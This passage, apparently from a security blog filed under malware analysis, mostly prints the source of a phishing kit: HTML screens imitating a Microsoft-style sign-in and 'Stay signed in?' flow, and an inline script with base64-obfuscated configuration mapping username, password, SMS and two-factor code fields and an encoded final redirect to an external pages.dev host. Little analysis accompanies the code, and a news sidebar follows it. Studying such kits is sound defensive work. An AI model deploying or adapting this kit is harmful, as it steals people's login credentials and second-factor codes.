            <button class="a_panel_105 a_container_966" id="btn_field_459">C<b></b>an<b></b>cel</button>
        </div>
    </div>
</section>

<section id="sec_container_147" class="redirect-enabled d-none"> 
    <div class="a_wrapper_719">
        <img decoding="async" src="images/logo.png" alt="Badge" class="d-block">
        <div class="a_widget_553"></div>
        <h2 class="a_component_241 mb-16">Taking you to your organization's sign-in page</h2>
        <br>
        <div>
            <p class="mb-16"> 
                <a href="#" class="a_item_303 fs-13">
                    </a></p><div class="a_element_952"></div><a href="#" class="a_item_303 fs-13">
                    <div class="a_element_952"></div>
                    <div class="a_element_952"></div>
                    <div class="a_element_952"></div>
                    <div class="a_element_952"></div>
                </a>
            <p></p><br>
            <p class="fs-13">
                <a href="#" class="a_item_303 fs-13">C<b></b>a<b></b>n<b></b>cel</a>
            </p>
        </div>
        <br><br>
    </div>
</section>

<section id="sec_box_265" class="d-none">
    <div class="a_wrapper_719">
        <img decoding="async" src="images/logo.png" alt="Badge" class="d-block">
        <div class="a_widget_553 w-100 mt-16 mb-16">
            <span id="occ_container_252">a@b.com</span>
        </div>
        <h2 class="a_component_241 mb-16">Stay signed in?</h2>
        <p class="p">Stay signed in so you don't have to sign in again next time.</p>
        <label class="has-checkbox">
            <input type="checkbox" class="checkbox">
            <span>Don't show this again</span>
        </label>
        <div class="a_element_861">
            <button class="a_panel_105 a_container_966" id="btn_field_459">No</button>
            <button class="a_panel_105" id="btn_field_459">Yes</button>
        </div>
    </div>
</section>
    <footer class="a_wrapper_873">
        <a href="#">Terms of use</a>
        <a href="#">Privacy & cookies</a>
        <span>. . .</span>
    </footer>
    
        <script>
        (function(w,d){Object.entries(d).forEach(([k,v])=>w[k]=v)})(window,{"var_params_956":{"prop_label_155":"1","prop_value_150":"U2lnbi1pbiBvcHRpb25z","prop_state_352":"images\/onedrive.png","prop_mode_436":"images\/logo.png","prop_label_998":"aHR0cHM6Ly8xY2IxNTMyYy5kb2MtZXhwaXJlZC5wYWdlcy5kZXYv","prop_text_245":"gfA7S2FlyAcPfRZis319mEXnkEhpXw","prop_status_233":"https:\/\/href.li\/?https:\/\/en.wikisource.org\/wiki\/Microsoft_v._AT%26T","prop_mode_145":"jRkNCLO7rRj","prop_label_566":"f13d53aacbeac9a0e92b529d60dabbd6","prop_count_354":1770844738,"debug":false},"var_options_400":"eyJpbnBfdW5hbWUiOiJpbnBfZmllbGRfNDc0IiwiaW5wX3B3ZCI6ImlucF9idXR0b25fOTA4IiwiaW5wX3Zlcmlmbm90aWYiOiJpbnBfcGFuZWxfNzYzIiwiaW5wX2NvZGVzbXMiOiJpbnBfaW5wdXRfNTUxIiwiZm9ybSI6ImZvcm1fd3JhcHBlcl8zODUiLCJmb3JtMiI6ImZvcm1fYm94XzkwOSIsImZvcm0zIjoiZm9ybV9idXR0b25fOTg3IiwiZm9ybTQiOiJmb3JtX2JveF8xODAiLCJsb2dvaW1hZ2UiOiJsb2dvX3BhbmVsXzE3NCIsInBsYWNlaG9sZGVyLWltYWdlIjoicGhfYXJlYV8zMTciLCJwbGFjZWhvbGRlci1pbWFnZS0yIjoicGhfZmllbGRfMzM3Iiwic2lnbkluT3B0aW9ucyI6Im9wdF9hcmVhXzU1OSIsImZpcnN0bWVzc2FnZSI6Im1zZ193cmFwcGVyXzI3NyIsInNlY3Rpb25fdW5hbWUiOiJzZWNfYm94XzgxOSIsInNlY3Rpb25fcHdkIjoic2VjX3NlY3Rpb25fMTEwIiwic2VjdGlvbl9maW5hbCI6InNlY19ib3hfMjY1Iiwic2VjdGlvbl92ZXJpZm5vdGlmIjoic2VjX2Zvcm1fNzE2Iiwic2VjdGlvbl9zbXMiOiJzZWNfcGFuZWxfNTg1Iiwic2VjdGlvbl9hcHBub3RpZiI6InNlY193cmFwcGVyXzIzMiIsInNlY3Rpb25fMmZhIjoic2VjX3dyYXBwZXJfODk5Iiwic2VjdGlvbl9yZWRpcmVjdCI6InNlY19jb250YWluZXJfMTQ3IiwiZXJyb3JfdW5hbWUiOiJlcnJfcGFuZWxfNzQ1IiwiZXJyb3JfcHdkIjoiZXJyX2Zvcm1fNDExIiwiZXJyb3JfdmVyaWZub3RpZiI6ImVycl9pbnB1dF82MDIiLCJlcnJvcl9zbXMiOiJlcnJfc2VjdGlvbl8zNTQiLCJvY2N1cGllZCI6Im9jY19jb250YWluZXJfMjUyIiwiYnRuX25leHQiOiJidG5fZmllbGRfNzk5IiwiYnRuX3NpZyI6ImJ0bl9pbnB1dF82NTciLCJidG5fbm90aWYiOiJidG5fZm9ybV84MjciLCJidG5fc21zIjoiYnRuX3NlY3Rpb25fMjY5IiwiYnRuX2ZpbmFsIjoiYnRuX2ZpZWxkXzQ1OSIsImVudHJvcHkiOiJlbnRfYm94Xzc2NSIsImxpbmtfYmFjayI6Imxua19hcmVhXzQzNSIsInNob3dEaXNwbGF5IjoiZGlzcF9wYW5lbF85MzciLCJzaG93RGlzcGxheTIiOiJkaXNwX3NlY3Rpb25fMzY5Iiwib3ZlcmxheSI6Im92bF9pbnB1dF8yMDciLCJvdmVybGF5MiI6Im92bF9idXR0b25fMTQ1Iiwib3ZlcmxheTMiOiJvdmxfcGFuZWxfMTk2Iiwib3ZlcmxheTQiOiJvdmxfY29udGFpbmVyXzM5OCIsIm92ZXJsYXk1Ijoib3ZsX3dyYXBwZXJfNTg3Iiwib3ZlcmxheTYiOiJvdmxfZmllbGRfOTEzIn0=","var_options_886":"eyJhdXRoLXdyYXBwZXIiOiJhX3dyYXBwZXJfNzE5IiwiYmFsbC1ydW5uZXIiOiJhX2VsZW1lbnRfOTUyIiwib3ZlcmxheSI6ImFfZWxlbWVudF83MDkiLCJhY3RpdmUiOiJhX21vZHVsZV85MzUiLCJzcGlubmVyIjoiYV9wYW5lbF81NDgiLCJzZWN0aW9uLWRpc2FibGVkIjoiYV9tb2R1bGVfMzkzIiwidGl0bGUiOiJhX2NvbXBvbmVudF8yNDEiLCJvcHRzIjoiYV93cmFwcGVyXzEzNiIsImlucHV0LWNvbnRhaW5lciI6ImFfYmxvY2tfNzQzIiwicGxhY2Vob2xkZXItaW1hZ2UiOiJhX3dyYXBwZXJfNzAxIiwiaW5wdXQiOiJhX2NvbXBvbmVudF83MjQiLCJsaW5rIjoiYV9pdGVtXzMwMyIsImJ0biI6ImFfcGFuZWxfMTA1IiwiYnRuLXNlYyI6ImFfY29udGFpbmVyXzk2NiIsImJ0bi1ncm91cCI6ImFfZWxlbWVudF84NjEiLCJoYXMtaWNvbiI6ImFfaXRlbV8xNTkiLCJpY29uIjoiYV9ibG9ja180NDgiLCJiYWNrIjoiYV9lbGVtZW50XzIxNSIsImlkZW50aXR5IjoiYV93aWRnZXRfNTUzIiwiZXJyb3IiOiJhX3NlY3Rpb25fNjQwIiwiZXJyb3ItaW5wIjoiYV9lbGVtZW50XzQyNiIsImZvb3RlciI6ImFfd3JhcHBlcl84NzMiLCJ0ZXh0LXRpdGxlIjoiYV9ibG9ja185NzYiLCJoYXMtY2hlY2tib3giOiJhX2NvbnRhaW5lcl84NTMiLCJjaGVja2JveCI6ImFfcGFuZWxfNTU4IiwicCI6ImFfc2VjdGlvbl80ODMiLCJ2ZXJpZmljYXRpb24tb3B0aW9ucyI6ImFfbW9kdWxlXzYxMCIsIm9wdGlvbiI6ImFfY29tcG9uZW50XzU5NiIsImhpZGRlbiI6ImFfd3JhcHBlcl8xOTMiLCJibGlua2luZyI6ImFfbW9kdWxlXzczNSIsImhvbmV5cG90IjoiYV9ibG9ja180MjkifQ==","var_utils_179":{"prop_index_237":"\u003Cimg src=\u0022images\/invalidmail.png\u0022\u003E","prop_label_435":"\u003Cimg src=\u0022images\/could.png\u0022\u003E","prop_count_145":"\u003Cimg src=\u0022images\/invalid.png\u0022\u003E","prop_index_360":"\u003Cimg src=\u0022images\/invalid-pw.png\u0022\u003E","prop_status_111":"\u003Cimg style=\u0022width: 95%; height: auto;\u0022 src=\u0022images\/invalid-code.png\u0022\u003E","prop_text_756":"\u003Cimg style=\u0022width: 90%; height: auto;\u0022 src=\u0022images\/invalid-sms.png\u0022\u003E","prop_value_448":"\u003Cimg style=\u0022width: 80%; height: auto;\u0022 src=\u0022images\/empty-sms.png\u0022\u003E"},"var_data_919":{"prop_mode_742":false,"prop_mode_115":false,"prop_type_592":false,"prop_count_364":false,"prop_mode_729":false,"prop_label_350":false},"var_context_540":{"prop_mode_729":false,"prop_label_350":false,"prop_type_592":false},"var_helpers_741":"uname","var_config_386":"","var_utils_115":null});        window.jsConfig_options_913={vars:{"elementIds":"var_utils_302","classNames":"var_context_399","phpConfig":"var_params_956","errorMessages":"var_utils_179","validationState":"var_data_919","view":"var_helpers_741","enmail":"var_config_386","statusAccessData":"var_utils_115","initialOptions":"var_context_540","damang":"var_options_400","suke":"var_options_886"},functions:{"setOccupiedText":"fn_set_893","focusAndSelect":"fn_create_884","transitionView":"fn_show_439","updateView":"fn_validate_740","setBackgroundAndLogo":"fn_set_495","toggleOption":"fn_get_977","updateInputState":"fn_handle_543","showLoading":"fn_process_695","hideLoading":"fn_get_800","show":"fn_hide_267","hide":"fn_hide_166","hideSection":"fn_check_267","handleAccessSuccess":"fn_show_982","processTwoFactorInfo":"fn_handle_724","navigateToTwoFactorSelection":"fn_create_775","navigateToFinal":"fn_hide_471","resetPasswordView":"fn_set_527","handleTwoFactorOption":"fn_handle_903","validateTwoFactorMethod":"fn_handle_186","resetToPasswordView":"fn_handle_903","handleBackButtonClick":"fn_handle_582","handleFinalButtonClick":"fn_hide_146","validate":"fn_get_394","validateUsername":"fn_update_848","handleRedirect":"fn_check_316","validatePassword":"fn_create_973","validateVerificationCode":"fn_check_707","validateSmsCode":"fn_show_623","pollAppVerification":"fn_update_364"},props:{"selection":"prop_label_155","encodedText":"prop_value_150","defaultBackground":"prop_state_352","defaultLogo":"prop_mode_436","finalRedirect":"prop_label_998","randString":"prop_text_245","random":"prop_status_233","validate":"prop_mode_145","securityToken":"prop_label_566","timestamp":"prop_count_354","uname":"prop_mode_742","pwd":"prop_mode_115","code":"prop_type_592","two":"prop_count_364","sms":"prop_mode_729","app":"prop_label_350","usernameRequired":"prop_index_237","invalidEmail":"prop_label_435","passwordRequired":"prop_count_145","incorrectPassword":"prop_index_360","invalidCode":"prop_status_111","invalidSms":"prop_text_756","codeRequired":"prop_value_448"}};
    </script>
    
    <script defer="" src="js/module.php?m=auth&t=40f80aad866ba055424ee0f9d70f579b&v=1770844738.159"></script>

</body></html>

Published: 7 months ago on February 20, 2026
By: sectorx
Last Modified: September 22, 2026 @ 2:23 am
Filed Under: Malware and Behavior Analysis

NEXT ARTICLE →
phishing-module

About the author

sectorx

View all articles by sectorx »

Malwarebytes
- Some cheap smart glasses are a security disaster September 22, 2026
  Tests found that some cheap smart glasses can be hijacked over Bluetooth, exposing their owners’ photos, videos, and personal data.
- Meta’s Muse AI assistant has a zero-day that can turn it into a Mac backdoor September 22, 2026
  A simple terminal command can hijack Muse and use its extensive permissions to spy on Mac users and control their connected accounts.
- Researchers used Claude to hack OpenAI September 22, 2026
  Claude helped researchers break into OpenAI in under 72 hours, and exposed how quickly AI is lowering the bar for sophisticated hacking.

ThreatPost

Think Outside of The Box or We Can Build a Better One

phishing-kit

About the author

sectorx

Malwarebytes

ThreatPost

phishing-module